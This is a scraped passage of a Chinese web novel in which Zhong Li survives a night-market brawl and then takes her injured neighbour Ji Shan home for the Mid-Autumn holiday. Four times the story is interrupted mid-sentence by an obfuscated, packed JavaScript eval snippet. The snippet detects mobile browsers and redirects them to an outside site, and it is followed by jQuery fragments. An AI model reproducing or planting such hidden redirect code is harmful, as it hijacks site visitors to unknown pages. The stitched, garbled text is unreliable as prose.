l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14262049|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,她感受到温热的指节划过她的脸颊,碎发被捎至耳后。还有人给她盖上了一张薄毯。
“睡吧。”
说话的人声音轻柔,带着安抚。
钟励彻底睡了过去。
“砰。”
再次醒来的时候,是因为她的脑袋四处晃悠,不小心撞到了车窗上。
“嘶。”
钟励倒吸了一口凉气,摸摸撞到的地方,疼意逐渐消失,还好没事。
“没撞伤哪里吧。”
司机回过头,观察她的反应。
钟励睡眼惺忪的,她深吸一口气,努力睁开眼皮。
“我没事。”
她脑袋挺坚固的,她还害怕把人车窗撞碎呢。
钟励抬眼一看,差不多是到她家了,还有两百米左右。
“即将到达目的地,请乘客带好随身物品。”
听到AI女声后,钟励开始收拾收拾东西,耳机仓放回去包里没有。她上次就急匆匆赶着下车,把耳机忘车上了,还好也不贵才五十块。
捏在手里的手机突然亮屏,是纪善打来的电话。
钟励皱起眉头,看手机右上角的一个符号,她的手机现在是静音状态。
她疑惑挠了挠头,纳闷道:
“我什么时候调静音了?”
钟励不喜欢接电话,但不会避免接电话,所以都是开的振动,手机不离身,要是这也能错过就没办法了,没有接这个人电话的缘分。
静音一般是睡觉的时候才会静音,怕别人打扰她。
可能是刚刚误触了吧,不小心调了静音。
钟励一个上划,挂断了纪善的电话。
他们刚刚才发生了争吵呢,多少得冷战几天吧。
挂断电话后,各种消息都冒出来了。
纪善居然给她打了差不多快十个电话。
车刚刚停在小区门口,钟励就看到纪善急匆匆往外走,一边走还在一边打电话。
她低头看再次亮屏的手机,脑袋顶着一个大大的问号。一直打电话是为何?
其实打电话也是有边界感的,要先提前微信给她发审核表,写上通话内容以及时间,然后等她审核通过了才允许拨打。
这样是最好的,当然大部分人都不这样。
钟励又上划挂断电话,她打开车门,朝纪善挥挥手,喊道:
“你给我打这么多电话干什么?”
纪善热泪盈眶,一个大跨步冲过来。
“你一直没回来,怕遇到什么意外,想着要去接你。”
纪善表情突然变得严肃,他的眼珠子一直钟励身上转动,但不会给人色迷迷的感觉。
“你刚刚发生了什么吗?怎么感觉你身上的恶怨更浓了。”
钟励后退一步,“不知道你在说什么?”
“两位,小情侣吵架?”
司机从副驾驶钻出来,她冒出一个头。
“不是。”
钟励开口拒绝。
纪善倒是搭话了。
“谢谢您将她送回来。”
不料司机神色古怪,她白了纪善一眼,语气很冲:
“要你感谢,我是收钱的。”
说完她回到驾驶座,一踩油门,车“唰”的一下就开走了,留下一股难闻的车尾气。
钟励一头雾水,不是说返现吗?返现呢。
她低头打算老老实实付钱的时候,却发现司机那边点了“乘客已支付”的选项。
她不收钱?不是说打五折吗?直接免费啊。
15. 第 15 章
“送去医院了?”
钟励抬起眼皮,双手抱胸,她本想俯视纪善,但架不住她个子才到人家肩膀,气势都散掉了。
“是,我都听说了。不是你的错,不过,还是得控制一下恶怨的浓度。”
纪善垂下头,蓬松的头发给人软乎乎的触感,但过分锋利的眉眼又平衡了。
恶怨恶怨。到底是个什么东西啊?
她的脾气吗?这是让她少发脾气?
听起来就像是体检的时候会有多项指数不达标。
“哦。”
钟励听完掉头就走,她刚刚都没吃几口饭就干架去了。现在肚子饿得咕咕叫。
原本扎在脑后的头发现在也乱糟糟的,她伸手一摸,后脑勺凹下去,像陨石坑。她早上精心制造的圆脑袋已无。
取下发绳随手扎了一个低马尾,一边走路一边想等一下买什么夜宵。
买炒粉吧,加一份肉,再买一杯柠檬茶。找出前几天收藏的悬疑剧,等一下直接通宵。
反正明天也不上班了,她今天就放肆到底。
“你去哪里?”
纪善像个跟屁虫一样跟上来了,与钟励协同着走。他人长得高大,几乎完全遮蔽住钟励的身影。
“去买点夜宵吃。要饿死了。”
终于知道为什么减肥的人容易生气了,饿着可不就容易生气吗?
钟励看向大排长龙的队伍,不时跺跺脚,她脸上戴着一个口罩,附近的油烟味太大了。
每等个几分钟,她就踮起脚尖往队伍前面看,不耐烦“啧”了一声。
“服了,前面的人到底买了几份啊,怎么还没等到我?”
旁边也有没排队的炒粉摊,但钟励觉得群众的眼睛是雪亮的,通常情况下都是好吃的才会排很长的队伍。
其他的摊位是不用排队,但比起排队,买到难吃的食物,才更加令人难过。
没成想,排在钟励前面的人先爆发了。
一个留着络腮胡的中年男子要插队,摊贩老板正义感十足,头也不抬就让男子去后面排队。
排在钟励前面是一对母女,小女孩扎着双马尾,看起来也就小学一二年级的样子。
只听小女孩用清脆稚嫩的声音说道:
“妈妈,这个叔叔就是插队是吗?老师说这是很不好的行为。”
在其他人的鄙夷下,男子面子上过不去。他拿起菜篮子的一片生菜,砸到老板身上,趾高气昂。
“我让你现在给我做就做,你还想不想在这里混了?”
声音越说越大,讲到后面都破音了。
“抱歉客人,我们都是按照排队的顺序来做的,要是先给您做了,对老实认真排队的其他人不公平。”
老板很有原则,说不能插队就是不能。他取下扔到他身上的菜叶子,丢到了垃圾袋里。全程平静,手上动作不停。
同时把摊上的鸡蛋跟肉收回去,这些价格贵一点,可不能被砸了。
又一碗炒粉做好了。
“您的炒粉。”
他老婆在一旁帮忙打包,动作伶俐。
纪善被钟励安排去买柠檬茶了,兵分两路效率高,省得她排两次队。
“那个,我要牛肉炒……”
钟励话还没说完,中年男子突然暴起。他将其他人做好打包的食物,拿起来狠狠丢到地上。白色的塑料盒承受不住压力,碎裂后吐出里面包装好的食物。
他眼球凸起,脸颊跟脖子通红,双腿岔开站,喘着粗气。
钟励一见不好,立刻寻找安全位置往后退。
万一这疯子奋起打人怎么办?无差别伤害。
好的不灵坏的灵,钟励的想法刚刚从脑海中划过,该男子就指着老板怒吼,疯狂砸摊上的东西,抓到什么砸什么。
闹市人多,就算想走也得排队才能走。
更何况还有完全不担心,甚至还从远方走过来,越走越近拿出手机来拍摄的。
更有甚者骑着电动车就过来了,完全横在狭小的过道上,钟励想走都走不了,还要被身后的电动车进行喇叭攻击。
“你说他不会真的要打人什么的吧。”
“怎么可能?就他那熊样,也就是嘴巴上不干不净,扔几片菜叶子而已吧。”
围观的群众低声对该行为进行点评,不时啧啧摇头。
“让让,让让。”
钟励的声音在闹市当中显得格外渺小。
这路可不分什么方向,甭管哪个方向的车跟人,要去哪里?都挤到一个道上了。
钟励夹在其中走也不是,退也不是,真真就进退两难。
在被两路人马夹击的同时,她还不忘给纪善打电话。
这柠檬茶的摊位也没有离得很远吧,人怎么就不见了。钟励360度转圈找人,硬是没找到。
人群乌泱泱的,其中还有汗味和某些人的腋下味,钟励捂着鼻子,口罩也没有完全隔绝气味,她已经没什么胃口吃东西了。
炒粉摊那边男子似乎被人群某句话刺激了,还是说他安静的短时间只是在技能冷却。
“你看不起我是吧。”
只听他一声怒吼,已经不局限于砸炒粉的摊位了,还有旁边的椰子水摊位。
还好卖椰子水的老板眼疾手快,将还没开的椰子一脚踢远了,所以男子只能拿椰子水进行一些泼水攻击,杀伤力并不大。
看热闹的人群终于散开了一点,钟励也从层层叠叠的人群包围圈中看到了纪善的身影。
但俗话说越害怕什么事情,就越容易发生。
钟励觉得自己已经躲得很远了,至少远离了内圈。可不曾想,意外总是时常发生的。
男子发了狠,炒粉的地方还有煤气呢,他一路的动作奔着煤气去。围观的人终于知道要跑了,各个不择方向,就是硬跑。
钟励的肩膀被撞了不知道多少次,皮肤大概要淤青了。
人群慌不择路,一路乱跑,地方又窄,摊位都拥挤地排列着。
不知道是谁撞到了其他摊位,整个摊位直接倒下来,摊位上方的大型遮阳伞直愣愣要戳下来。
钟励脑子一片空白,手脚的动作比脑子快,她来不及思考拔腿就跑,但架不住别人给她拖后腿。
可能是大家跑的方向太松散了,不知道谁的腿那么长,竟然直接将她绊倒了。
说时迟那时快,钟励发现站起来再跑晚了,双手抱着脑袋,只希望伤得不重。
“嗯……”
钟励只感觉有股热气笼罩在她上方,随即听到来人的一身闷哼。
“没事吧。”
纪善如同老母鸡保护崽子一般,扑扇一双手臂,遮盖住她整个身体。
“我没事,你没事吧。”
钟励唯一的伤害是她的裤子,夜市的商品种类多,街道上总有不知名的黏糊液体,她这摔倒的一屁股,裤子是废了。
闹市的男子已
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14273287|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
经被周遭其他好心人控制住了,好在没有造成什么大的损伤。
发现钟励没事后,纪善整个人松懈了下来,紧绷的身体一下子脱力。
“你的腿?”
钟励发现纪善右小腿被乱停乱放的电动车给砸到了,只见纪善脸色煞白,额头上的汗滴一滴滴往下掉。
“不是吧,怎么你也伤了腿?”
难道说惹她生气的人都会腿骨折吗?跟那本笔记本其实无关?
没过多久,救护车来了。
这难道就是该来的命运迟早会来吗?她不上方付的救护车,就得上纪善的救护车。
“哎呀,怎么是你?”
医护人员抬着架子下来,见纪善觉得眼熟。
“你不久前不是刚刚上过一次救护车吗?”
是的,谁能想到一晚上他还能连着两次坐上救护车呢。
钟励一块儿跟着上去了,毕竟也是为了救她才骨折的。
医生给他打了石膏,住了一个星期的医院就出院回家了。
“吃饭了吃饭了。”
又到一天中午,钟励随便糊弄了两顿饭就给纪善带过去了。
她有纪善家的密码,毕竟一直要一个骨折的病人拄着拐杖来给她开门也很不人道。
“恢复得还可以吧?”
钟励是直接端来一个不锈钢的盆,加上一双筷子。
她不会做很复杂的菜,什么都放一点干脆做了轻食,简单又方便。
纪善一边吃一边点点头,还不忘竖起大拇指夸她做的好吃。
钟励摸了摸下巴,等他差不多吃完了才开口说话。
“你应该一个人也能过得可以吧。外卖也可以送到门口。”
纪善原本还一头埋在碗里,一听钟励这么说,咕咚咕咚喝几口水,把嘴里的食物咽得干干净净。
“怎么了?你要去哪里?”
他过于纯净的眼神,让钟励都愧疚了,像捡到的一只流浪狗担心主人要抛下他一样。
“没去哪,这不是中秋节到了吗?我好几年没回家了,今年想回家看看。”
钟励离开饭桌,坐到沙发上,拿起一个抱枕放到膝盖上,手部不自觉揉捏抱枕的四个角。
“那我怎么办?”
纪善拄着拐杖,也在沙发坐下。
“你就正常过啊,现在社会这么发达,又饿不死你。”
“洗澡的时候就擦擦身体,就好了。反正我在也不可能帮你洗澡。”
纪善掰着手指头,细数他的几种可能的死法。
“那我一个人呆在屋子里,要是不小心摔倒了,没人发现,死了怎么办?”
“要是我没带手机,这层楼也没人,我呼救不了。或者是断电,手机充不了电,死了怎么办?”
钟励重重眨了一下眼睛,无奈道:
“那我给你找护工可以吗?保证你死不了。”
说完她掏出手机查找护工的价格,她还以为看错了,揉了揉眼睛细看。
“三百一天?”她倒吸一口凉气,整个世界只有她的工资最低是吗?
300一天太贵了吧,纪善是因为她骨折的,闹事男子的赔偿已经花在骨折的治疗上了,这护工钱肯定她得付钱吧。
可她回去的几天,光是护工就要差不多一千块了,她可是失业人员啊。
钟励深吸了一口气,似乎做了一个很艰难的决定。
“那你跟我一起回家吧。”
16. 第 16 章
钟励算了一笔账,请护工差不多要一千块,这也太贵了吧。
可是要是带回家的话,什么理由啊?他们之间又没有什么关系,这就能带回家了?她爸妈问起来怎么说?
可是她家那边的小宾馆一天只要五十块,三天也才一百五。
可是路费贵啊,几百块的,她难道也要出这笔钱?加上路上可能遇到的麻烦,那还不如请护工算了。
钟励坐在沙发上思索,嘴唇咬得发白,不时点开手机的银行软件,每查一次余额都要登录,步骤繁琐得让她直冒火。
要不跟社区的工作人员打个招呼?不时过来照看两眼,保证死不了就行。
钟励的视线将纪善从上到下打量了好几遍。
“你觉得你值300一天的服务吗?”
纪善表情一愣,随即低下头,只能看到他毛茸茸的脑袋,跟平常打理整齐的端庄不一样,是很亲近的风格。
身上是棉质的睡衣,看起来也是软乎乎的,更显得他肤色白皙。
他嘴唇颤动,弧度不大,最后抬起头扯出一个勉强的笑容。水润的眼睛带些感伤。
“没关系的,我一个人也很好。”
“对了,你来了这么久,我都没有给你倒杯水。我现在去。”
纪善说着就要起身,当他连一旁的拐杖都没带,直挺挺就要站起来走。
“不是,你。”
钟励将腿上的抱枕一扔,走到纪善身边,将他遗忘的拐杖递给他。
“拐杖呢,怎么不用。”
纪善的身体僵硬了一瞬,他问道:
“那我现在去给你倒水?”
“去吧去吧。”
钟励大手一挥,眼神都不给一个又坐下了,没有一点阻拦的意思。
就这样,纪善瘸着腿,走路的声音显然比平常的大,跳在瓷砖上“噔噔蹬”的响。
“你……”
钟励转头叫住他。
“怎么了?”
纪善极速回头,刘海被甩得偏离额头,又缓缓落下,洁白的牙齿在灯光的照射下都要反光了。
钟励颔首,伸出手指了指地板。
“走路小声一点,虽然我们这一层楼没有人住,但楼下有,别吵到人家。”
“还有就是,你这房子是租的,要保护好所有的东西啊,地板当然也是很重要的,不然到时候房东扣你押金。”
这可都是过来人的经验呐。
“还有。”
钟励说话大喘气,可纪善情绪价值给到,眼睛还是亮晶晶的看着她,嘴角带着微微的笑意。
“水我要重新煮的,不要昨天的隔夜水。”
“好的。”
纪善重重点了头,拄着拐杖去了厨房。
钟励看着他远去的背影,内心有些许酸涩,她揉了揉心脏,心想自己是不是过分刻薄了。
不过她也是在观测纪善的生存能力啊。
男人眼里就得有活,多干活不是坏事。
要是他拄着拐杖也能自己照顾好自己,那她就不用请护工,可以省下一笔钱了。
厨房里的水壶声逐渐减弱,没过多久,纪善出来了,他拄着拐杖手里还捏着一个玻璃杯。
他一边走,杯子里的水就一边洒出来。
还好是瓷砖地板,要是木地板钟励都要抓狂了。
轻轻“砰”一声,玻璃杯与桌面发出清脆的碰撞声。
“喝水吧。”
本来水有八分满,纪善这一路洒水车的行径,水只剩下三分了。
纪善似乎也意识到了这一点,他把推到钟励面前的水杯又给拿走了。
他不好意思笑笑:
“抱歉啊,我给你重新倒一杯吧。”
他刚转身,脚就踩到了自己洒出来的水迹,脚下一滑,整个人直愣愣地快要摔倒在地。
说时迟那时快,钟励眼疾手快,迅雷不及掩耳之势,她一脚踢中纪善的屁股,让他整个人摔倒的方向从地板变为沙发。
踢人的同时还一手抓住垃圾桶,接住了空中坠落的玻璃杯。
玻璃杯要是碎裂在地上,清理也是一件麻烦事,要是没清理干净又容易踩到,加重他的伤势。
干完这两件事后,钟励用手背擦擦额头上不存在的汗水,长长呼出一口气:
“呼。没我就完蛋了。”
纪善整个人趴在沙发上,脸也完全向下,如果不是那细微的起伏,会被误会其实已经不在了。
“你还好吗?”
钟励弯着腰,脑袋向前,像蛇一样探寻纪善的状况。
“还好。”
纪善说话的声音闷闷的,听得出来他的生无可恋。
“好吧,留你一个人确实有可能摔死在家里。”
钟励承认道。
听到这番话,纪善突然一个咸鱼翻身,似乎又恢复了活力。
“那你是同意……”
钟励接下话茬,她站直身子,点点头:
“我给你找个护工吧。贵点就贵点,还是小命比较值钱。”
“啊,我以为你是要带我回家。”
“回家?我们两个现在是什么关系?”
纪善侧过脸,轻笑一声,垂下眼帘,浓密的眼睫毛盖住了眼底的情绪。
“是我多余问了。”
说完他拄着拐杖,一瘸一拐地回到了房间。
?他在干什么?
钟励全程目送他离开,直至关上房门。
要是健康时期的他,帅哥自嘲,破碎感拉满。
可现在他走路都走不好,加上钟励自己还在为钱苦恼。有种贫穷夫妻百事哀的感觉。
钟励将钱包里的几个数字数了又数,终于下定决心约了一个护工上门。
她后天就要走了,明天可能会因为要回家紧张而没有办法处理事情,要在被窝里呆一天。
那就所有的事情都最好要在今天敲定下来。
刚好介绍人也说今天有个护工可以上门,觉得合适就定下。
钟励加上护工的联系方式后,告知他公寓所在地以及楼层,希望尽快赶到。
护工赶过来也需要一段时间,她也有点饿了,回去煮点东西吃吃吧。
她走到玄关处,刚刚拉开门,就听到纪善噔噔噔的走路声。
他从卧室冒出一个头,问道:
“你要走了啊?”
钟励换上自己的鞋子,点点头,回道:
“饿了,回去吃点东西。等一会儿护工来,你记得给人家开门。如果我没有及时赶过来的话。”
钟励回到自己的屋子后,翻冰箱找到一块火锅底料。又随便放进一些肉、丸子跟菜进去煮了,简单又美味。香气溢满整个公寓,火锅底料拌鞋底都好吃。
她刚刚煮好,又点了杯奶茶到了。正在找下饭剧,手机就弹出来一条消息。
护工说他已经到小区了。
这吃也不是,不吃也不是了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14295607|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
把奶茶放到冰箱,给煮好的食物盖上盖子,一会儿回来要是凉了,就只能再煮第二遍了。
护工是个中年男人,钟励看过照片,人看着挺老实的。据说评价也还可以。至于中介嘴里的话几分真几分假就不清楚了。
钟励已经来到楼层的电梯口了,电梯的数字逐渐上升。
护工又给她接连发了几条消息。
【你们这个17楼在哪里啊?】
【我好像找不到啊。】
钟励看着发来的消息一脸懵,她看了一遍,又小声念出口一遍,她理解的意思应该没错吧。
钟励:【就是17楼啊,我有看到电梯上来,你应该在里面了吧。】
可电梯的数字,直直一路往上在18楼停下,没有停在17楼。闪烁的红色数字略微诡异。
护工:【我下电梯了,不知道为什么是18楼,我明明按了17楼的。】
钟励觉得这也没差,直接走下一层楼梯就行了。可能电梯有点问题吧。
一直发消息沟通效率太慢了,而且还有延迟,钟励直接问能不能打电话沟通?
对方同意了。
可钟励拨打过去,怎么都接不通。难道是还在电梯里吗?电梯里的信号是会差一些。
可她又看着电梯的数字,一直停留在18啊,根本没动。
就在钟励考虑,要不要自己去18楼找人的时候,纪善打开了房门,房门只打开了一半,他半个身体都藏在门后。
他眼巴巴地看着钟励,低眉顺眼的。
“我不小心把碗给摔了,有一块碎片好像滚进了缝隙里面,我拿不到,你能帮我一下吗?”
钟励挂断拨打不通的电话,点点头:
“可以。”
只是纪善的姿势很诡异啊,一只手拄着拐杖,另一只手放在身后。
“你另一只拐杖呢?”
钟励好奇发问,一边走到厨房找出那块碎片。
“毕竟我只伤了一只脚嘛,这样比较节省资源。”
钟励登时抬起头,一脸“你在说什么”的表情。
拐杖明明都有两只在,为什么叫节约资源?
找到碎瓷片后,钟励将它丢进垃圾桶,却发现厨房垃圾桶里其余的碎瓷片沾染了鲜红的血迹。
钟励“哒哒哒”快步走到客厅,一把抓住纪善的左手,伤口没有经过处理,只是随便用清水冲洗了一下,还能看到划开的血肉。
钟励下意识皱紧了眉头,“割伤了怎么不说?”
纪善想收回手,但碍于钟励的凌厉眼神,又不能发作。
骨节分明的双手就这样有了一道划痕,希望不会留疤。
手指往上,是结实的臂膀,五官又锋利,身形高大,但此刻却像做错事的可怜小狗。
“我不是怕麻烦你嘛,毕竟过几天你要回家,我想着自己适应一下没有人帮忙的生活。”
“而且就这一点小伤口,也不疼的。”
这划伤再大一点就要去医院缝针了。
“我不是给你找了护工吗?”
说曹操曹操到,钟励一提到护工,下一秒就接到了护工打来的电话。
钟励向上划接通电话后,手机传来护工狼狈的哭声。
“钟小姐,怎么不跟我说你们住的是凶宅啊。”
他每说一句话都要吸一下鼻子。
“害我鬼打墙走不出去,我回家要拿柚子叶去去晦气。你们这单我不接了。”
17. 第 17 章
找护工的计划失败。
钟励看着被挂断的电话页面,一阵沉默。
她扶额苦笑,安静起身,打算回自己公寓找急救箱帮纪善处理伤口。她刚刚扫了一圈,他家空空荡荡除了基本家具什么也没有。
刚走一步便有人扯住了她的衣角。
“你要去哪里?”
语气急切,发现钟励回头以后又迅速松开了她的衣角。
纪善偏离的坐姿又调整回去,被割伤的左手放在腿上。
“不小心勾到你衣服了,抱歉。你走吧。路上小心,一路顺风”
说完又抬起头扯出一个勉强的笑容。
钟励皱着眉头心里嘀咕,这小子是不是18线小演员再就业啊,这么能演。
她穿的T恤又不是毛衣,他的手也不是爪子,随随便便就能勾到。
她无奈摊摊手:
“我只是要回去找一下急救箱给你处理一下伤口而已,那要不然你去医院好了?”
“真的吗?”
纪善眼睛都亮了,想笑又只能控制,脸上的肌肉真是忙啊。
“你快去冲洗伤口,不知道你刚刚冲干净了没有。”
钟励下达指令,纪善屁颠屁颠拄着拐杖去水龙头清洗伤口。
而钟励回去翻箱倒柜,找出了急救箱,其实也就是一些药物。
她拿起药膏跟碘伏看日期,不知道过期了没有。
她上次感冒就没注意日期,吃了好几天过期的药物,好在也没什么事。
带着需要的药品又来到纪善家,他还在冲洗伤口,钟励过去看了一眼。
随即便拧开碘伏的盖子,直接往伤口倒。
钟励的手轻轻压在他的手腕上,看他呲牙咧嘴的表情便觉得好笑。
“我好心给你拿的碘伏,要是我现在淋的是酒精,你就知道厉害了。“
纪善也不挣扎,乖巧点点头。
钟励又拿棉签给他伤口抹上药膏,最后用纱布给绕了几圈。
“那,你什么时候回家?我去送送你。”
钟励收拾残局,她轻笑一声:
“还送我,让一个瘸子送我啊。这不是虐待病人吗?”
“你跟我一起回去吧。看在你的腿伤是为了救我的份上。”
事情已成定局,钟励那就坦然接受。
“你记得收拾东西啊,衣服啊必需品什么的。”
虽然他现在是一个瘸子,但不是还能动吗?她是不可能帮他收拾的,又不是老妈子的角色。
更何况病人也得多动动,才会恢复得快嘛。
钟励打算转身回去,她的饭绝对凉了。但火锅底料加热了还是很好吃。
突然像是想起什么一样,她疑惑回头问:
“你的工作呢?请了几天假?”
一般来说公司是不会允许员工请很久的假的,至于受伤了不可抗力因素,那得你自己克服。
他这伤筋动骨的得休息好几个月吧,公司愿意放人?
纪善云淡风轻回答:
“我辞职了。”
钟励愣了一下点点头,没有深究的打算,不是所有人都喜欢别人问为什么。辞了就辞了,多大点事。
“你把身份证给我一下,我帮你买车票。”
“不用了我自己买吧,你买的位置在哪里?我们坐一块。”
他人其实挺好的真的,为了救她骨折,还不愿意让她破费。她觉得可以分享她今晚的晚饭给他。
钟励抿了抿嘴,即将开口让纪善一起去她家吃饭的时候,只见纪善突然凑近她,一张帅脸放大,鼻翼上的小痣格外明显。
“是不是很愧疚?那你以后要对我好一点啊。”
果然是这小子的把戏吧。
钟励攥起拳头狠狠在他胸口捶了一拳,听到他吃痛的声音才满意离开。
---
钟励每次第二天有事情的时候,都会睡不着。
明天就要回家了,她点开车票看了一眼又一眼。目的地是她熟悉的家乡,熟悉的两个字看到逐渐陌生。
她当初不愿意回去,也是怕给家里人带来麻烦,招惹风言风语。
钟励平躺在床上,双手向上放在枕头上,眼睛直直看着天花板,没有一点儿睡意。
忽然一个鲤鱼打挺起来收拾东西,行李箱放在房间的角落,是打开着的。
其实都收拾得差不多了,一些衣服,日用品。
又只能躺回床上刷手机。
手机上端突然弹出一条消息提示:
【琼芎近日休息,工作安排暂停。】
钟励看着这条消息心情久久不能平静,她不会也回去吧。
小县城其实还挺大的,只要她不出门,应该不容易撞见吧。
渐渐的,钟励脑子放空,陷入了沉睡,手上的手机也掉落在枕头上,屏幕随着时间的消逝也熄灭了。
第二天钟励被脑袋边上的手机闹铃震醒,振动闹铃的效果很好,就是容易吓出心脏病。
前天晚上已经约好了车,钟励一般坐车不太吃东西。随随便便喝了几口水就出门了。
纪善拉着一个行李箱,坐着轮椅乖乖在门口等她。轮椅是借的,总不能出门也拄着拐杖,到时候右腿伤好了,左腿肌肉可能要膨胀两倍。
“你好了怎么不叫我?”
她刚刚可在客厅沙发上发呆呢,在酝酿上厕所的欲望,要知道在外面上厕所很不方便。
“我也就刚刚好。”
纪善一身黑灰色休闲装,背上还挂着一个包,放着手机跟其他用品。穿搭简单又随意,头发没有软趴趴地耷拉着,蓬松软软的,仔细打理过。
正好钟励也是一身黑灰色休闲装,整得跟情侣装一样。
还好现在时代发达了,之前钟励上学的时候宿舍没有电梯,她都是一手扛行李箱,一手拎袋子,第二天准浑身肌肉酸痛。
坐上电梯到了楼下,钟励一个人推着两个行李箱,走路的速度明显快过纪善推轮椅的速度,她发现后有意放慢速度等他。
只不过坐轮椅这人好生倔强,非要自己提行李箱。
“不是,你推好你轮椅得了呗。”
纪善非不让,要跟着她抢活干。
“我自己的事情我自己做,我可以的。”
跟钟励抢她手里的行李箱,怎么可能?钟励自由身,一个灵活闪现纪善就追不上了,他自己推轮椅推得满头大汗。
钟励在前面满怀大笑地跑,纪善在后面焦急推着轮椅追,一边追还一边喊:
“把我的行李箱给我吧。求你了。”
活像不良少女欺负残疾人。
果然这就被门口的正义大爷拦下来了,大爷一个人在树下下着围棋呢,瞧见这等不正义的事情肯定要挺身而出。
“欸欸欸,小姑娘,你这是干什么?快把人行李箱还给小伙子。”
“不要欺负别人啊。”
轮椅都推得冒火了,纪善终于赶上来了,他连忙向大爷解释:
“不是这样的,我们是一块儿的。她没有抢我东西。”
大爷听到后,眯起眼睛看了两人的服饰,一拍大腿下定结论
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14310461|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:
“你说你们小情侣。”
大爷啧啧摇头,双手摆在身后,缓缓走开。
“下次可别这样了啊,还差点以为是欺凌呢。”
搞出一个乌龙,钟励也不闹了。主要是车已经来了,得去赶高铁了。
钟励跟司机在后备箱放行李,纪善很有眼力见,自己拄着拐杖坐进了后排。
路程的一切都很好,没遇到什么问题。
只是快到终点站的时候,钟励的胃里开始翻江倒海,一阵心悸。
俗话说,近乡情更怯,没想到回家她也会有应激的反应。
她喝了几口水想缓解一下,但没什么用,甚至到了身体发抖的程度。
“你怎么了?”
纪善从他的包里掏出一张纸,擦擦钟励额头上的汗,眼神关切。
钟励动了动嘴唇,选择沉默,她闭上眼睛往后仰,说话有气无力:
“没事,可能就是晕车吧,我体质不太好。”
她当初可以说是落荒而逃,虽然是一些捕风捉影的消息,但县城就这么点大,消息一下就传开了。
钟励眼前阵阵发黑,也可能是没吃早饭引起的低血糖。
“有糖吗?”
她朝身边的人问道,声音微弱,几乎要听不见了。
嘴唇苍白,汗水浸湿了出门前精心打理的刘海,贴在了两鬓。
“有。”
纪善撕开包装,将糖果塞到她嘴里。
钟励先是感受到一股清甜,随即浓酸在嘴里蔓延开来,酸得她合不拢嘴。
这不是学校门口流行的爆酸糖吗?
酸得她口水直流,糖果吐出来后又喝了几口水才压下去。
钟励猛地侧过脸,半眯着眼睛指着纪善道:
“你要谋害我是吧。”
不过,不得不说,这爆酸糖的提神效果是真不错,她已经清醒了不少。
纪善举起双手投降。
“我没注意,我随便在门口买的,拿了很多种。”
他自证清白拿出所有的糖果,确实夹杂在其中他没发现吧。
出了这一茬,钟励焦急的心态逐渐缓解了。
到目的地后,一出站,一大堆摩托车司机就如同看见什么美味食物一样乌泱泱围了上来。
“来咯来咯。坐车咯。”
他们一个劲儿地挥手招揽生意。
也不看看他们俩人是什么样子,一个瘸子,两个行李箱,摩托车要怎么坐人啊?
钟励带着纪善好不容易突出包围圈,坐上车后,她点开通讯录页面,想打电话跟家里人说已经回来了。
但最终电话还是没拨出去,而是发了一条消息告知。
当务之急是要在附近给纪善找个宾馆住下。
宾馆不远,离她家也就一千米。
前台跟着他们一起上去,主要是协助纪善。
刷卡开门后,钟励就不打算进去了,她想即刻回家。
纪善眼巴巴的,语气卑微:
“你什么时候来看我?”
“我知道我的身份不适合带回家,但我希望你能来看看我。”
前台在一旁震惊,眼睛瞪得大大的,似乎吃到了什么大瓜一样,想拿出手机跟朋友分享八卦,但碍于人前,又不好意思掏出手机。
“等我处理好家里的事情就来看你。”
等等,怎么一副把人养在外面,然后现在要回家处理大房事宜的既视感?
钟励挠挠头:
“别乱说话,饿了吃饭,困了睡觉。我先走了。”
18. 第 18 章
钟励拖着行李箱走进小巷子里,她家前面有一段路不是平整的水泥路,坑坑洼洼的。上学回家的时候已经在这条路上牺牲了两个行李箱。
她熟练拎起行李箱,稳稳当当地走着。
她就呆愣站在大门旁边,没有上去。
不知道家里的钥匙换了没有,之前也换过,家里人忘说了,她拿着老钥匙好半天都打不开。
钟励又低头翻找包里的钥匙,她前几天就收拾好放里面了。杂七杂八的,翻起来金属碰撞叮铃铃地响。
金属的凉意透过掌心传来,钟励握得更紧。
当初她意识错乱,已经分不出现实跟梦境。她身后空无一人,哪怕她的家人也不在。
做这种梦的次数太频繁了,以至于她开始真的怀疑起来。
正当钟励犹豫不决的时候,楼下大门打开了,是她邻居,王婶。
王婶提着买菜的篮子,脸上的斑比起前几年多了一些。不过还是热情依旧。
“钟励。回来了?”
“好几年都没见你了?很忙吗?”
